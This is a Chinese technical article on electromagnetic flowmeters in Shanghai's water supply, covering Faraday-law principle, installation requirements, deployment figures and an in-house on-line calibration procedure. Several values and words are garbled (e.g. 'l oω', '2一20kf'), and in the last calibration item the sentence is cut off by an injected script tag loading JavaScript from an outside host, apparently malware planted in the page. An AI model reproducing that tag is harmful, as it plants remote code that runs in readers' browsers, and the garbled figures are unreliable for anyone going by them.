电磁流量计在供水行业中的应用

1 前言

近年来,随着国内供水行业自动化技术水平不断提高以及贸易结算计量的要求,电磁流量计得到了越来越普遍的应用和推广,特别是在上海供水行业中sgaic型电磁流量计应用已经得到了广泛的认可。

2 基本原理

根据法拉第电磁感应定律,即导电液体在磁场中切割磁力线运动时,导体中产生感应电势(见图1),其感应电势的大小与磁感应强度、流体做切割磁力线强度等因素成正比。

图1 感应电势产生原理图电势由下式给出:

e=k×b×v×d

式中:e——感应电压;

k——仪表常数;

b——磁感应强度;

v——平均流速;

d——测量管内直径。

流量流体时,流体流过垂直于流动方向的磁场,导电性液体的流动感应出一个与平均流速或单位体积流量成正比的电压,因此只要被测的流体具有最低限度的电导率,其感应电压信号通过两个与液体直接接触的电极检出,并通过电缆传送到放大器,然后,转换成统一的输出信号。

3 主要技术特点和使用安装要求

3.1 电磁流量计的主要技术特点

① 由于测量结果与液体的压力、温度、电导率等物理参数无关,所以测量精确度高、工作可靠。

② 测量管内无阻流件,因此无附加压力损失,即对自来水测量无附加水头损失。

③ 只有管道和电极与被测液体接触,因此,只要合理选择电极材料,即可达到耐腐蚀、耐磨损的要求。具有使用寿命长,维护要求低的特点。

④ 可以测定正、反方向流体的流量。

⑤ 输出信号方式比较灵活。有脉冲、电流、频率等方式。

3.2 电磁流量计的使用和安装要求

① 电磁流量计的上游管道至少有5倍管径长度的直管段,它的下游至少有3倍管径长度的直管段。在条件允许的情况下,放宽流量计前置直管道长度在10倍管径以上。

② 在电磁流量计的安装中,传感器接地环要可靠地接地,接地电阻要不大于l oω。

③ 要在使用环境的选择中注意避免外部的电磁干扰,特别是避免工频电磁场的干扰。

④ 对流量计上游管道中在前置距离外安装阀门,特别是蝶阀或直角弯管等严重影响流态特性的场合,最好在流量计上游5~10倍管径的直管内安装整流器,以达到稳定水流流态,提高计量准确度的目的。

4 电磁流且计在供水行业安装配置及使用情况

目前在上海各区域自来水公司中所普遍采用的水处理工艺原理流程框图见图2。

图2 水工艺处理流程基于电磁流量计的测量原理及测量特点,目前已成为供水行业广泛应用的产品。从1989年使用第一台电磁流量计以来,到目前为止,上海市自来水公司使用了上海光华爱而美特公司的电磁流量计总计400余台,直径从dn15~dn3000不等,主要用于水厂原水的贸易计量、加矾计量、反冲洗水量计量、出水泵房单管计量、厂用水计量以及出厂水总管贸易计量。还有区域公司的管网连接边界用于相互馈水的贸易计量。由于水质腐蚀性和磨损性都不强,除了原水选用刮刀式电极和加矾计量选用白金电极外,一般选用橡胶衬里和不锈钢电极即达到测量要求。

5 电磁流f计在线校验方法

电磁流量计出厂时其精确度已经过实验室标定。但一旦使用于现场,由于受环境条件、流体特性以及仪表本身如元器件损坏等原因引起仪表运行故障等情况,对于首次安装投运前或长期使用后的流量计有必要进行一次常规的现场校验。由于电磁流量计的传感器安装在供水管道中,难以拆下送至实验室进行检查,而目前在流量计量范围内,国家和地方对大口径流量计尚未有现场条件下进行在线检验的规程和其它法规文件。为了保证电磁流量计在首次安装、故障修复以及长期使用后的精度和可靠性,而又不影响自来水的日常供应,我公司1995年制订了《电磁流量计检验规程》作为本企业内部计量管理标准的一部分,经过几年的现场检验,摸索经验,不断完善,在1998年我公司进行is09002质量管理评审中获得通过,并已在市原水及各区域公司各水厂中推广应用。

5.1 校验的主要内容

① 对电磁流量计励磁线圈进行安全绝缘测试,应大于20mω。

② 对电磁流量计励磁线圈进行铜电阻测试,应与原出厂值相同(环境温度相同时)。

③ 对电磁流量计传感器电极对地电阻进行测试,若电阻值在2一20kf之间,并伴有充放电现象,两只电极的电阻相近,则认为好的。

④ 对电磁流量计转换器励磁电流进行测试,观察其输出与转换器原电流的值,误差不超过士0. 25ma。

⑤ 对电磁流量计转换器模拟量输出及频率输出进行测试,观察其线性变化情况,并计算其?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计